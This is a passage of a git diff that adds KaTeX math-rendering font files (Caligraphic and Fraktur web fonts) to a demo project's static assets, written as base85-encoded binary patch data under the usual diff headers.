z60N4r$c$Dh(3G^92X-Y0Lac`u0`tk~{o2=3qqno|?oLjENvkw&vc_}?`0x5gCi`*W zQSt;g6WU2(Ml(+rEFV>>Jn zyk}~1?Yr6TJCmpNeEv5~^q+_wLPamxeBCNBR~3o7y(lPDhH`=i)eQLNMAR&3D2Z*z z4k1gn9_?9;^5GQ6r1JTbU2jBd1ntyAhyalzFs1ZiVO6iZV_QaWnvq!#{PA+ik5UvNzWMCSUmHT6iS@3BWIs=G?slv)@ z`vN2b=;zXkS%*75T>>lfUvH&+=a*kNrZhgN#em&Ba;zJrn=^NS66vIw&Aep>>8ZJ%>*=EXTl*K*X|C(ce0 z6y)Y~rq-H0C+jv5>KK_gs()-S(2U4(RD?=sD5tFk;}XV5C4QuV2k-A2ZB;9sFJe#} zF%aox535fxgVn8TUI7!zX(-A>n9j;&Ay%p%RU6i9Rl@Y>Tj$H}QjK75T6B8vf^OJO zH3&s4Vd{}S*x`I<7hx*rkX+k>N|LqEeLB^{w?nWInP$!hk2C6=~guEDOJU=A0a zxmULlgF5xWBmG5XT-u6pK2VT9P2G$Vr8kRsZ$lq%{Nl&x#P0)kZ$&IcVV9#?C!7HZ zDztPNys!}UU`O5Xh0W&X#q)Y4=|E(k%ovgu%-~9bJqikB;hXV(td6cH=+q)>LpZ%^ zXzRI=x->&!n()JO8+oM=6X_@@I~(bF?+e# z?G*vtsZqQ^2KJpDhV^7xH7ubZPYtEX^BZjKg6;#dON~wXFX&_xzelG0#=SPvmD5=V zXh7JTbS*_1==S~?eLejC+IX8#U7foV=6?Ax_*F&r1U=0#|s{<&3^Q=s-I3xZW;R0j+>=iy**JX7A58)in&t-;w35|!{`pEdu7bp>MhJsZ zb$^Y<85K-&qU1;R_~fjRz!?|e-@rYuQqL_aLwaf$EVmffa+P?>Q$A}os7hq9K<}ZL z<8G1g#XG7LdZ#W+&zK1&ZMJu!uP@q%Vhk{-_>(dG>nL+reW-xsvh=8llAvpM4fm22 z^HpX3RC%@r-Y0y7+^<%>Or+%J8388ous;Rq(4SH`g_~W~;qEb?`8gV0isoDe`Pyp$ z(v5L+ucJ7n4MlH|48N3r6n#lFGhXLv^PQVzL_7!|22F)D?GfYy${NMk`eLgodTh`QWXw^2`@AIm zStTd=hNU0voqVAj+qf{bqq`j;wxk;SK=9bkT*99^OJrnHWCx8ab@ZWucodP7TaIf{ z#PCtn(ab~zjMX~Xume5C4j+QwU0cZo^2mAk8x+p{ft5}7gBDpXri$&#$N)Zh@hBV= z6EgnpCG%FE(4cXjlPzs=ni((u3hm)+WXvs`ydy(@CUn#o!(>Dhr02mT^yhxZ7Ds-; zx|uNE&#!=v@b)(MKLx1zY^F6bP2|y3z$!g?@fDhz+=uH>@laIaVUoefG+g(%ABEgk zu@yqzbweSoqm2t-Mr$a%hYt?Es_C zhX&TS2WV-(9*P9zBvy3$8|j7PY@l9`wEglj$t3?RTo(t2+Qwxqa9+#bb$(D>%GdWT z4ufZYoogmf==bWH$7;TT%(XF_ozuwT<|*T2Z^zVct+t)ovIflVtwyW>r>z&%Ur1>9 zqTGDU9m5qQ>;*ADe|I!BINrj@)YoVk6Cq$N?Zbmm_<9ohf6sPqVc&|eEiaeAj%mzU zeV4R*vYaS+fYCZ8p=Z}YgE|Z6MdbJL=Hrp{b$IbWKB!TU>Wc9uL zo|%>BWlAI&pDJEt{izpTHum_Qt70Fa|DMbR1x6#Fs%Lrxe-! z{7k73^L|PxFjUGbzDNKT+dbMvUCrMy@>Ls7(QYxMmfX^JZb9BJ8~4}>o63gi#O4EO zw98vIb#{h}45)^_ua8msF(jH}QwxK715lsOKAl_tI@{Sqyr)do<+lj*?Jl`NWYZD) zI?${geuIcGTURi06{5xu@Wh?0 zcqM`Yj|c0l;plr_AY+M@LsCTcHcJN|a}1dY%l&rPO(6?Sdd3Kq4@eX}XL@%%!ANm7 z85>SOQK9q>3;2H2`9ZTGtUayZ;2Q62Q~RX@XDXsA%sXD~Ec=MN^XHP4ENkc}fxSrS z`Spetvj85ehMcvoq-ylJ?dYs0fgr4w?k5rsRAItjD(h5$(>ztuwzx%>d-CxFjezba%ty(`U$1lv=1-Fs z-y*O(oNfedHLSww@i%ndcDa_5TSBTeC7*Se@fKSY?S6?bjK|WMHq~|iJ>->&Hz~5e z%B0L)%ywcq3=OSfrDp7h=SFKgXdjSKm}#^9#BubCj=3rxI|4B|L#CO1E!u~aGwq(< z&f*OBfzjfDT?dcCmJ-q9?VzW4)L2p_*=v_qt{$A}H)|Xg%{aa=cfhFBTAtLvq4GUg z0JYwqKq#uXpzv6ZMP$ohs$sD~G9=p$b!{H_GfBSR!D6TJ*!7?i0F2CD67213PTi^0 zs`6;O`I&d5#0Qp6)T~IR)L+=v&o&fr^qPV;aKD{%*kq86LbyGnLcJ2zjTL-!lZrpX zhGf#DElv17IVwP&*k5RHj^$D3vh1I>vhK}i0*_}j1^L#I&sw-Yxcpar1^mBbumV1IO55}BC6Ga^(?jtrRG?{QIM^@N(rR00BKtw@QG63JP7ZJeL(0wXVVaAwmv*;<^ z84`Yb2&o}9!S$tj%9xTdZ!=^N?e&NL+@4|Ra5-}cl*p6A=vpd9jI&grPd6bio*0qw04p~Uy+jjx zLakFSS_nm`=6m&4`SRstVEF}{lej!Wldh^YD|=$u=VCkus}4idJ(jthoOs}(5x=0} z4i{R$NV05i!YhZ3eQU{=%`8C?C#G__y;%bXdCR$Gyi`rCH5=71GcoIkw@3FGRt;d> zY;|=wn`|%9Xcj9VzJQ?MY1r&QZqPypq_}@NDQL(?HGFYQixIqP&r_l?o@D)dRT(jV zPVwbz4vs6{hcYOk7hC%qUrdYsYgp&_QvNg8kZ?(6c@opo>^tS>rMIW24O}>~S>Ksj z9z-y}A5ni{(xLX%J7)kOq^0Uygr=u|BSL#jqYDB(u)S~=E&Y1yHcT$5b4t_&rL^7# zywsO07OLu=&d}7v5w={Ub!7E?V5GdBmGUt`W*yr|YadnZE354=Zj0?1#8go|dVw8> zN~vXJT6R}wJ>NU}AS)KEtsf|={csULpR(e*0~u39EJY_zhKieCck2DE@7I_Vxg5MN zbYDb5mRr4h>n4K?SDf=rfiT)u(VBr(WFOcNgx<9yiX;+2#)tqA!vn8(Oc{|mR_d_L zG3*y{sH~fae!?n!gKa?@N%34YftW%di54^_5Muxo3vKT-;>WT_PZ1~p?h)|4rSsnW z`QL~EasXq1Pf!L>OCWX7FR%r84%!HM4#o}U0oD+90Zte09^M(ogl7m)<98Ho(3 z1*zpf{V^Z_@FQU_#Sm5C4uA?e{+IOswYS|jC$JL;`(1+rK>c^ca}_z78Y&2gH59Np zXFIZ)ESSu`+*exUP@9r0@o}i$#pr9`?R;VD57;31w zZx3X6_-7!P01s~yk)_iMaSyh%t(=92g@%OzqVed^i#EV8I$ht>Gfg^#lx(Jh{1FQe z5BSD|`raV>PfiE~%GjI?2bdfS$qwrUNV@>Yr4@t7qm6ps-XQ58BJbX=-umB81Feey zfYTeqM$gq6jV13jc@*NRHqA7w^1!U&Q_hI!xedgjZ(JL9&%?E)lt=y#bW=Tk_{t|9 z&z6XZ$v%H_)LBB(#=l8*9jsHa=?3*ngg~89(`< z6xg4P!)I+`bgD|7F*d_$Nxa#pwT53ya6w#H=E`qYBF`0NJSL39#~C6>%s?}~rnMk+ z)Stbm4~w}P__o&9H*d&4HyC-ZLy|7A)#od?{3l0g()GBC6bEtr= zkW$qF$~Ajt@S6Q1ghuED=4m~MCw|&c;1gUyurUag!J>i`@_yc9LqaFU-L79iSQva- zvL{qjg?YEctv!mjgTr7i5L)k?rk5@fw2kS=h_p<(E?rHm zmKUT_BSqx2HkDnq|hrT3^VPKeY=P|Ju zETNCZQT17*Kq_2fvxK4iTQEMsE^FGpGs*W7WY{6>HmL1P{|VUXV7}13&b6Wq&((T( ziRx4=G8COud}>!XCpex@-*|bxY@Yp*Df)pf@H0v5&q!~R_t*38m5J1Hi6`f(`bu&6 zUw*<_xurOgOp41uvC)MM)7b986U4Y|uxQf(wLIyL+a4az`C}|4ZA}XoJAc?T^#VAw zROXIb#;097;~NWlF+&t{oN<{6p5$t66-LysmyeL5EUo}i8dJQq@o3oP^F&T~CYsq! zI}^Jyc@8>dnm^&2O%7^g9f48JD$1sERPQy_)x>qW>@|Z!b!pG6noQCGaayX@rn(I2 zm=E2Fg_j{Eh{2B1=dTIv$8t)J=||Wt9M}bTlk?%n-{Z%*EQ-YVZz=en;EBF656BdD znJeQT$@t>zfT~V`J0`U7q+=1G31)ehjky%Q3~%C(T8fxL=>b%}3>I*tW8uMNt`JgM zSs!-r1f``tt&HvE_#~aL>E4I-gam96Os13a*u#&)%k{S`_%A62F)1_2Lzoc>7Rkjb zcYjyNB>r%e9LW|~Ammr132PRg?&VEIg)21c)!;TW2fuM??CV{RSF$bQ{)FXV{z4iS ze@Nu}g@8MqD7Rx08+n7`!OJ?Sa-j&QfR*epR?TBSS{~aYOeQp)Xm2seQiW~o`AJ3F zGh`jX&AY;Wq`}cidM(0942ogE^>EjU+tT#NNTyxTp(n9`)@JSX2nwtBuU;nICW@XW z6pD4E838%B7{kfeB~EZL^>e-2w2`i{ij*B2uB+)R-#+!mN~ScFm(qyBuf|fOoX`~U zY|7A>Wa&wY5sc)Y#)8FD+SGhWF_kXpUQZW7G6^owC`@;)fLWZ1cD-TBVyiX_it#Ug zs$9IZ9!_Nza=oVVCCfL24Idd(I0Pw)z2^}a7OWnA?K@=DMBysCr?9gxUa(RTgLNxBFYMr#tE?3dhb*hiCs=p7k;qZSHaaf_IAKjehwW!JyRoQ`ctt;97M@oU! zBpPlbxm0Q)%BwNhK2ISn61rn()X=iUQnzU=CYN8Km%g|#TmLzJo6x|18?pVMo_VIb zXfIY4-*EP+w$BUWccw(barlImq~P~WdJ@aO0aI>CIQ&>(<;O)#S9tj>bdA7{4let+ z4z7!?%~yRXv+&s^>=ScY?>Eqxny+GwrDzS~e7(`4J#-2!#&IyERy};k%MiaJ z{pK$ib2z8$cGW+>iBVf-On#HHSgl|uK4z^`Qrs?zbDkLeU=eej8Dd|eL7XS<6_ulU zJdwqT!F|N%BGxpIC@CZb^F)*}eM7IWNTer*YF`N3vdTp@)?u>$NAUJ9(EGL0Ww00X zb{pUOve-_wsZ&!jzx&hFR?!hDp9PVxC~8+B?3PN=Y?rMIrFvLEz^nVQQi>3aYAt75 zlk0`Uo#Wwynf^0KJmvj&mFFtwNF#C|3tHHYM-&i51I@^YL8B@@Z2yFRNe1Z{FxTzn3EG0hDA1Imh_ zoBeP7?Sc6mIGxs;cC!7ZDPN3)#6kd2@r7CWSDTF?kZn^MV~9D#bO+po3uFzQ7%l|w ze_EDD@8P`ybyo-Ep^ za?vGvGb}4Bi??H*g?&rN0n3~rVA^A>Y3w3#QB6(8uBkjtO_me-mxh|)dI`axIR}KJ z59M23YtkKBNvxZZVDtJ1vaBsy}_kq9RP zuwqi*)pe(f9rsqy8=8-Ae(huC znPPvS2eY5ILwS7v<}2OI4RLFNjh^VXCggJe>2Gq~@33 zAs^474wNRY$8G$5Tf#8-A?*4U5xV@cw}ADrxGBR66t)1VcyW;6xe`28TE^FOHP)MB z&>2Ud4~l4@vmQ_MKo%I5JZ;<)9@<7RD{xb9ef|3C(&rNtE- z0cD%s!vl9n)X?zF+0EtQ^7i`v>h1d)kilb4_J$1^i3k~>zYKTz Mepdy)y#Y}F4=Hd9=l}o! literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Caligraphic-Regular.woff2 b/demo/static/dist/assets/KaTeX_Caligraphic-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..75344a1f98e37e2c631e178065854c3a81fb842f GIT binary patch literal 6908 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 CFgb+) literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Fraktur-Bold.ttf b/demo/static/dist/assets/KaTeX_Fraktur-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..4e98259c3b54076d684bf3459baeaeae8dbce97a GIT binary patch literal 19584 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 